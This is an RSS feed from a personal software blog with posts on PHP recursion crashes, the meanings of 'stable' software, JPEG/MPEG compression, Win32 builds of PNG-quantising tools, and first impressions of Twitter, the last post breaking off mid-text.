<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>The Bit Depth Blog</title>
	<atom:link href="http://bitdepth.thomasrutter.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://bitdepth.thomasrutter.com</link>
	<description>Thomas Rutter</description>
	<lastBuildDate>Sat, 17 Dec 2011 19:31:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='bitdepth.thomasrutter.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>The Bit Depth Blog</title>
		<link>http://bitdepth.thomasrutter.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://bitdepth.thomasrutter.com/osd.xml" title="The Bit Depth Blog" />
	<atom:link rel='hub' href='http://bitdepth.thomasrutter.com/?pushpress=hub'/>
		<item>
		<title>PHP: recursion causes segmentation fault</title>
		<link>http://bitdepth.thomasrutter.com/2010/05/16/php-recursion-causes-segmentation-fault/</link>
		<comments>http://bitdepth.thomasrutter.com/2010/05/16/php-recursion-causes-segmentation-fault/#comments</comments>
		<pubDate>Sun, 16 May 2010 04:47:46 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Software development]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=391</guid>
		<description><![CDATA[The fact that attempting recursion in PHP leaves you at the mercy of segmentation faults isn&#8217;t anything new, really (though it is new to me now).  Since 1999, bug reports to this effect have been knocked back, stating that this is the intended behaviour. This is all due to technical limitation inside PHP, which I [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=391&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The fact that attempting recursion in PHP leaves you at the mercy of segmentation faults isn&#8217;t anything new, really (though it is new to me now).  Since 1999, <a href="http://bugs.php.net/bug.php?id=1901">bug reports to this effect</a> have been knocked back, stating that this is the <a href="http://bugs.php.net/bug.php?id=43187">intended behaviour</a>.</p>
<p>This is all due to technical limitation inside PHP, which I guess is reasonable.  PHP pushes to the stack each time you enter a new function call, which is quick and handy, but limits your recusion depth.</p>
<p>What annoys me is that it&#8217;s one more reason that PHP is not very good for creating portable code.  There&#8217;s no warning or PHP error before you exhaust the recursion limit, PHP just crashes (bringing down an Apache process with it if you&#8217;re using mod_php).  The &#8220;safe&#8221; depth of recursion you could do on PHP is hard to predict, and is going to vary between installations and builds.  I&#8217;ve seen posts online showing people doing experiments to try and figure out PHP&#8217;s recursion limit, but there&#8217;s too many factors at work &#8211; how PHP&#8217;s been built, whether it&#8217;s 32-bit or 64-bit, the type and quantity of variables you are passing as arguments or return values, and so on.  In some code of my own, I&#8217;ve seen php-cgi crashing after just 20 to 30 levels of recursion.  The function was passing some rather large arrays as return values.</p>
<p>You could argue that the same issue is going to happen in a C program, and that any decent programmer should be ready to code around this, anyway.  However, in my mind PHP should be a level of abstraction higher than this sort of detail; a programmer in such a high level scripting language should not need to worry about the underlying low-level implementation.  Ideally, PHP ought to put out a PHP error, allowing for the problem to be reported gracefully just as if you&#8217;d tried to call a non-existant function, and the PHP interpreter should end the script gracefully without crashing any processes.</p>
<p>The bottom line is that if you&#8217;re doing recursion in PHP, you should use your own method to limit the depth to a very conservative level, or perhaps rewrite it to use a big loop instead of recursion.  If, like me, you&#8217;re writing a recursive descent parser, if you need to make your code portable you may be better off to rewrite it to use a big loop.</p>
<br />Filed under: <a href='http://bitdepth.thomasrutter.com/category/software-development/'>Software development</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/391/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=391&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2010/05/16/php-recursion-causes-segmentation-fault/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>Stable vs stable: what &#8216;stable&#8217; means in software</title>
		<link>http://bitdepth.thomasrutter.com/2010/04/02/stable-vs-stable-what-stable-means-in-software/</link>
		<comments>http://bitdepth.thomasrutter.com/2010/04/02/stable-vs-stable-what-stable-means-in-software/#comments</comments>
		<pubDate>Fri, 02 Apr 2010 00:00:00 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Software development]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=377</guid>
		<description><![CDATA[I&#8217;ve come to learn that when someone refers to software as &#8216;stable&#8217;, there is more than one quite different thing they might mean. A stable software release A stable software release is so named because it is unchanging.  Its behaviour, functionality, specification or API is considered &#8216;final&#8217; for that version.  Apart from security patches and [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=377&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve come to learn that when someone refers to software as &#8216;stable&#8217;, there is more than one quite different thing they might mean.</p>
<p><strong>A stable software release</strong></p>
<p>A stable software release is so named because it is unchanging.  Its behaviour, functionality, specification or API is considered &#8216;final&#8217; for that version.  Apart from security patches and bug fixes, the software will not change for as long as that version of the software is supported, usually from 1 to many years.</p>
<p>Software that is intended for the public to use is usually &#8220;stable&#8221;.  It is released, and following the release no new features are added apart from the odd bug fix.  To get new functionality users eventually need to upgrade to the next version.  Any problems with the software (unless they can easily be fixed with a bug fix update) are &#8220;known&#8221; problems, and the software vendor does not need to keep track of more than one variantion of these problems for any given version.</p>
<p>Examples of releases that are the opposite of stable include <em>development snapshots</em>, <em>beta</em> releases, and <em>rolling</em> releases.  A characteristic of all three of these is that they are in a frequent state of change; even their functionality and feature list can change from week to week, or day to day.  You cannot depend on them to behave the same way from one week to the next.</p>
<p>Some people like that with non-stable releases such as development snapshots, beta releases or rolling releases, they are always getting the latest features as soon as they are written into the software.  In many cases, these releases also fix deficiencies or bugs that would otherwise remain stagnant in the stable release.  However, with no stability in the feature list or functionality, this affects the ability for documentation, other software that interfaces with the software, plugins, and more to function: a change in the software can mean these become out of date or fail to work anymore.  When you have software which needs to work well with a lot of other software, having a stable release reduces the frequency with which changes in the software will break compatibility with the other software relying on it.</p>
<p><strong>Another meaning of stable</strong></p>
<p>Another meaning of stable exists in common use, where people take it to mean &#8220;working reliably&#8221; or &#8220;solid&#8221;.  That is, people refer to software that runs consistently without crashing as stable.  You can see why they may use the word in this way: in real life, when something can be described as stable, it won&#8217;t fall over.  If a chair is stable enough, you can sit in it and it won&#8217;t topple or collapse.</p>
<p>However, confusion arises when people use this form of the word stable to refer to software that isn&#8217;t stable in the earlier sense.  For example, it&#8217;s why you see comments like &#8220;I&#8217;ve been using the beta version since February and it is very stable&#8221; or &#8220;the newer version is more stable&#8221;.  The point that these comments make is not that the software is final and unchanging, as in a stable software release, but more that the software is stable like a chair might be stable.  It seems reliable, and the user hasn&#8217;t experience any major problems.</p>
<p>This kind of stability won&#8217;t help developers extending the software with other software, or writing plugins or customisations for the software, since the fact that at any given time the software is running well does not make up for the fact that the software is subject to frequent changes.</p>
<p>Commenters or reviewers who describe beta or rolling releases of software as stable, might want to try describing them as &#8220;solid&#8221; or &#8220;reliable&#8221; instead, to save confusion with a stable release which is an unchanging release.  Or, the fact that the same term is understood in two different and sometimes conflicting ways may indicate that the term is not an ideal one in the first place.  It does, however, seem firmly entrenched in the software development world, where the meaning of a stable release is well known.</p>
<br />Filed under: <a href='http://bitdepth.thomasrutter.com/category/software-development/'>Software development</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/377/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=377&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2010/04/02/stable-vs-stable-what-stable-means-in-software/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>How JPEG and MPEG picture compression algorithms work</title>
		<link>http://bitdepth.thomasrutter.com/2010/02/02/how-jpeg-and-mpeg-picture-compression-algorithms-work/</link>
		<comments>http://bitdepth.thomasrutter.com/2010/02/02/how-jpeg-and-mpeg-picture-compression-algorithms-work/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 13:38:29 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=367</guid>
		<description><![CDATA[While their names sound similar apart from the first letter, JPEG and MPEG refer to the names of two unrelated organisations.  The Joint Photographic Experts Group (JPEG) created the JPEG image file format (as well as JPEG 2000, a different format), while the Moving Picture Experts Group give their backing to a large number of [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=367&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>While their names sound similar apart from the first letter, JPEG and MPEG refer to the names of two unrelated organisations.  The Joint Photographic Experts Group (JPEG) created the JPEG image file format (as well as JPEG 2000, a different format), while the Moving Picture Experts Group give their backing to a large number of audio, video, container and stream formats to support the transmission of digital audio or digital video, which are grouped into generations (MPEG 1, MPEG 2, MPEG 4).  For instance, the popular MP3 audio file format is a part of MPEG 1 (MPEG 1 audio layer 3), DVDs and digital television usually use standards from MPEG 2, and the popular &#8220;MPEG 4&#8243; or &#8220;DivX&#8221; video format is standardised as part of MPEG 4 (MPEG 4 part 4).</p>
<p>All of the formats, including JPEG images and all types of MPEG videos, work in a very similar way, which I&#8217;ll call block based DCT image compression.  This involves chopping up the picture into blocks, 8 pixels by 8 pixels, and compressing each block separately, and using a mathematical transform called a Discrete Cosine Transformation (DCT).</p>
<p>Here are some of the steps involved in JPEG and MPEG image compression:</p>
<p><strong>Colour space conversion and resampling</strong></p>
<p>If necessary, the image is first converted into the correct colour space and resolution.  This involves separating the colour image into 3 separate images or &#8216;channels&#8217;: a luma channel which carries the brightness information (like a black and white image), and two chroma channels which carry the colour information.  Furthermore, the luma channel is usually given double or quadruple the resolution of the colour channels; this saves some storage space already, and works because humans are much better at seeing intricate changes in lightness than colour, which is why we prefer reading light text on dark background and vice versa, to red text on green or similar.</p>
<p><strong>Separate into 8&#215;8 blocks and perform Discrete Cosine Transform<br />
</strong></p>
<p>Each channel of the image is then divided into blocks of 8 pixels by 8 pixels (64 pixels per block).  To each block, a mathematical formula called a Discrete Cosine Transform (DCT) is performed.</p>
<p>Before the discrete cosine transform, you have 64 values, each representing a <em>pixel</em> in the block.  After the transform, you have 64 values, each representing a particular <em>frequency</em> of any detail in that block.  It is like taking a piece of audio and constructing a spectrum analysis, where you get a frequency vs amplitude curve, except the curve is more of a surface, because it&#8217;s in two dimensions.  The very first resulting value represents a frequency of &#8216;zero&#8217;, ie it is the average value of all of those original 64 pixels.  The rest are <em>co-efficients</em>: values which you can input back into the inverse DCT function to get the original pixel values.</p>
<p>Storing these coefficients is no more efficient than storing the original pixel values.  In fact, due to rounding error you need greater precision in order to be able to store them than the pixel values.  How, then do we achieve any compression?  Well, for that, you need to throw away some data.</p>
<p><strong>Quantisation</strong></p>
<p>Quantisation is the process of reducing the precision of a number so that it is less accurate, but takes fewer digits (that is, bits) to write, or store.  It is, quite simply, dividing a number by a certain value, and throwing away the remainder.  When multiplying by that value again in an attempt to get the original number, chances are that the number is close to, but slightly different to, the number you started with.  The more you divide the number by, the greater the strength of the quantisation and hence the greater the likely loss in precision once you multiple the number again.</p>
<p>So, the previous compression step left us with 64 co-efficients arranged in an 8&#215;8 matrix, representing the values of different horizontal and vertical frequencies within that 8&#215;8 block.  Now, we apply quantisation to these coefficients, reducing their precision by dividing them by a specific number and throwing away the remainders.  When we save a JPEG image or MPEG movie we can usually set either a <em>quality slider</em> or <em>quantisation factor</em> &#8211; these just vary the number we are dividing by and hence the amount of precision we want to retain.</p>
<p>The JPEG and MPEG compression can also apply different amounts of quantisation to the different frequency coefficients within a single block, or different amounts per block in an image.  When this is done, it is all in an attempt to get the best looking picture, as perceived by human eyes, for a given amount of quantisation.</p>
<p><strong>Encoding the coefficients</strong></p>
<p>Depending on the amount of quantisation applied, some or most of the smallest coefficients will have been reduced to zero, because they were so small and insignificant to start with and during quantisation, resulted in a value less than 1 and therefore were discarded.  It&#8217;s likely that a typical block will only have a few non-zero coefficients remaining after quantisation.</p>
<p>The co-efficients, which were laid out in an 8&#215;8 matrix, are now picked out in a specific order for encoding: usually a &#8220;zigzag pattern&#8221;, chosen so that the smallest co-efficients will likely be last; any zero-coefficients at the end are not encoded at all.  The remaining coefficients undergo some form of lossless coding, which minimises the bits taken by the remaining coefficients.  The type of coding chosen varies between sub-types of MPEG video, but the general idea is that each coefficient is represented using a variable number of bits, so that smaller ones take less space.</p>
<p><strong>Motion</strong></p>
<p>The process so-far is simplified, but basically true for still images, and for the still component (keyframes or I-frames) of MPEG video.  MPEG video encoding can also involve motion estimation, where a block can be optimised by only encoding the difference between it and a nearby area of some other frame.  Encoding is still done per-block, and the blocks still undergo DCT and quantisation, but the selection of a reference point in another frame can be somewhat complex.</p>
<p><strong>Decoding the image</strong></p>
<p>Decoding is a reverse of the above process: the stream is decoded to find the coefficients for each block, and these coefficients are multiplied by the same number they were previously divided by, in order to reverse the quantisation.  The quantisation process did involve some precision loss, which can be seen by this point.  Then, an inverse DCT is applied to get pixel values for the block.</p>
<p>Finally, if it is a colour image and the two chroma channels used a lower resolution than the luma channel, these are now up-sampled &#8211; by interpolation &#8211; to match the luma channel, and then the image can be converted into a suitable colour space for viewing, such as RGB (when displaying on a monitor).</p>
<br />Filed under: <a href='http://bitdepth.thomasrutter.com/category/video/'>Video</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/367/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=367&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2010/02/02/how-jpeg-and-mpeg-picture-compression-algorithms-work/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>Improved tools for optimising PNG images &#8211; pnqnq and pngquant &#8220;Improved&#8221;</title>
		<link>http://bitdepth.thomasrutter.com/2009/06/26/improved-pngnq-and-pngquant-win32/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/06/26/improved-pngnq-and-pngquant-win32/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 06:25:58 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Web tools]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=354</guid>
		<description><![CDATA[I&#8217;ve taken the liberty of creating WIN32 builds of Kornel Lesinski&#8217;s improved pngnq and improved pngquant open source tools. pngnq and pngquant reduce the file size of a PNG file by reducing the number of colours, using advanced algorithms which produce the most visually pleasing results given the limitations. pngnq and pngquant are capable of [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=354&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve taken the liberty of creating <a href="http://arcticforest.com/bitdepth/downloads/">WIN32 builds of</a> Kornel Lesinski&#8217;s <a href="http://pornel.net/pngnq">improved pngnq</a> and <a href="http://pornel.net/pngquant">improved pngquant</a> open source tools.</p>
<p><strong>pngnq</strong> and <strong>pngquant</strong> <em>reduce the file size</em> of a PNG file by reducing the number of colours, using advanced algorithms which produce the most visually pleasing results given the limitations.</p>
<p>pngnq and pngquant are capable of producing 8-bit (or less) optimised images which still contain alpha transparency (fully varied transparency), something which Photoshop cannot do!</p>
<p>This package contains</p>
<ul>
<li>Improved pngnq v0.9 (January 2009)</li>
<li>Improved pngquant v1.1.1 (January 2009)</li>
<li>Sample batch files</li>
<li>Full source code and any original open source licenses</li>
</ul>
<p><strong><a href="http://arcticforest.com/bitdepth/downloads/">Download pngnq and pngquant command-line tools for Win32 now</a></strong></p>
<p><strong>What they&#8217;re for</strong></p>
<p><strong>pngnq</strong> and <strong>pngquant</strong> perform <em>lossy</em> compression of PNG images, by reducing the number of colours appearing in the image.</p>
<p>There are many different approaches to doing this, and most graphics applications capable of saving to PNG or GIF images have some algorithm for reducing a full colour image down to an image with a limited number of colours.  Different algorithms vary in terms of visual quality and processing time.  pngnq and pngquant aim for maximum possible visual quality at the expense of a longer processing time (though they are, to some extent, adjustable), and generally do perform better at this than most graphics software.</p>
<p>Choosing a fixed number of colours to best present a full-colour image is not an easy task, and as such there are a few different approaches.</p>
<p>One approach is to use a fixed set of colours regardless of the image; this is the simplest but also the worst quality approach.</p>
<p>Other approaches look at what colours actually appear in the image, and try to cover the most common ones.  Of these, there is still a variety of approaches: <a href="http://en.wikipedia.org/wiki/Median_cut">median-cut based colour selection</a> picks colours by repeatedly calculating median values of the colours in the full-colour image.  Other, more &#8216;perceptual&#8217; approaches try to place more emphasis on areas of the image where small colour variations are more likely to be noticed by the human eye, and less emphasis on &#8216;busier&#8217; areas of the image.  In the best case, such an algorithm can often produce a reduced colour image that is indistinguishable from the original, by the human eye.</p>
<p><a href="http://www.libpng.org/pub/png/apps/pngquant.html">pngquant</a> is a general open source tool to do just this, and can accept pretty much any type of PNG image as its input, though a true-colour PNG, optionally with alpha transparency information, is best.  It is a command-line tool, and is cross-platform.</p>
<p><a href="http://pngnq.sourceforge.net/">pngnq</a> is an alternative to pngquant which uses the <a href="http://members.ozemail.com.au/~dekker/NEUQUANT.HTML">neuquant algorithm</a>, a more complex algorithm which aims to produce better results.  It is also command-line and cross-platform.  It evolved from an earlier version of pngquant.</p>
<p>Kornel Lesinski&#8217;s <a href="http://pornel.net/pngnq">improved pngnq</a> and <a href="http://pornel.net/pngquant">improved pngquant</a> tools add some further minor improvements to pngnq and pngquant&#8217;s algorithms, giving more pleasing (to my eye) results for images with alpha transparency, especially antialiased boundaries for example on icons.  They also contain other various fixes, as documented on their respective web pages, which improve results in some edge cases.</p>
<p>You can choose how many colours you want to end up with, with 256 as the maximum; unlike GIF, PNG&#8217;s efficiency does not really suffer if you choose a palette size that is not a power of two.</p>
<p>The resulting PNG images will be viewable in all modern browsers, with an important exception: in Internet Explorer 6, images with alpha transparency will not display their partially transparent areas.  Thus, the images will look a lot like they have just 1-bit transparency.  Some see this as still better than the alternative of not using alpha transparency, or using full-colour images with alpha transparency and having them completely broken on IE6, due to the relatively graceful way these images degrade on IE6.  You should test the results in IE6 and decide for yourself, on an image-by-image basis.</p>
<p><strong><a href="http://arcticforest.com/bitdepth/downloads/">Download pngnq and pngquant command-line tools for Win32 now</a></strong></p>
<br />Posted in Web tools  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/354/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=354&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/06/26/improved-pngnq-and-pngquant-win32/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>Figuring Twitter out</title>
		<link>http://bitdepth.thomasrutter.com/2009/06/17/figuring-twitter-out/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/06/17/figuring-twitter-out/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 08:24:28 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Web tools]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=348</guid>
		<description><![CDATA[The success of Twitter always puzzled me &#8211; it was probably the first massively popular web phenomenon that I just could not get.  I don&#8217;t spend a lot of time on World of Warcraft, or Second Life, but at least I can easily understand their appeal, and why people use them.  For Twitter, I just [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=348&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The success of Twitter always puzzled me &#8211; it was probably the first massively popular web phenomenon that I just <em>could not get</em>.  I don&#8217;t spend a lot of time on World of Warcraft, or Second Life, but at least I can easily understand their appeal, and why people use them.  For Twitter, I just could not understand it.</p>
<p>&#8216;Why would anyone use a service so restrictive and limited in use, and like it?&#8217;, I thought.  For one, it&#8217;s full of self-promotion, utilised by many as one big PR tool.  I felt like I was being spammed every time I visited (until, that is, I learned to un-follow any of &#8216;those&#8217; accounts), and at other times it just looked like a whole bunch of &#8216;in&#8217; people sharing &#8216;in&#8217; jokes and having their own little private conversations to which I was not invited, but which were nonetheless put out in the public, as if to say &#8216;look at me, I actually have friends&#8217; or &#8216;geek is the new trendy&#8217;.</p>
<p>To help myself to understand it &#8211; without  necessary aiming to like it, but just to get a better grasp of why others did &#8211; I told myself eight days ago that I would put something on <a href="http://twitter.com/thomasrutter">my Twitter</a> (Tweet?) <em>at least one a day</em>.</p>
<ul>
<li>Installing TwitterFox has helped.  Now I don&#8217;t need to go through the hassle of <em>loading a website</em> just to do something which should be trivially easy to do, given you are writing just a few words.</li>
<li>The @ signs in messages annoy me.  Twitter should just hide the @, allowing you to link to another user without it looking like some sort of secret geek language.</li>
<li>The need to use URL shorteners annoys me.  Twitter should just hide the URL and show it as link text instead, allowing the link to show up as part of your sentence, you know, like <a href="http://www.w3.org/TR/REC-html40/struct/links.html">in HTML</a>.  This is probably the single most embarrassingly backward feature of Twitter, so lacking that an entire industry of &#8216;URL shortening services&#8217; has thrived as a result of this limitation.  Imagine their lack of</li>
<li>Twitter is not open.  It&#8217;s controlled by one company (and doesn&#8217;t have a good record of <a href="http://www.webpronews.com/topnews/2007/12/20/twitter-downtime-revealed-ridiculed">staying up</a>).  Can I host a Twitter site on my own server?  I guess this point is kind of moot; as much as I find it mildly irritating, most people, unlike me, don&#8217;t really care too much about &#8216;freedom&#8217; in that sense.  But even a viable Twitter competitor would open up the market a bit.  I may check out identi.ca at some stage.</li>
<li>I have been inspired by the likes of <a href="http://twitter.com/Sockington">Sockington</a>, who I think uses the Twitter format really well.</li>
</ul>
<p>All in all, I&#8217;ve found that it is actually easier to maintain a regular posting habit on Twitter than on my blog, which is refreshing.  A week ago I didn&#8217;t understand the point of Twitter at all, and while I still see Twitter as largely made up of chaff I can now understand that it is like any other self-published media, including blogging: 95% of it is uninteresting, but the 5% that&#8217;s good can make it an enjoyable experience.</p>
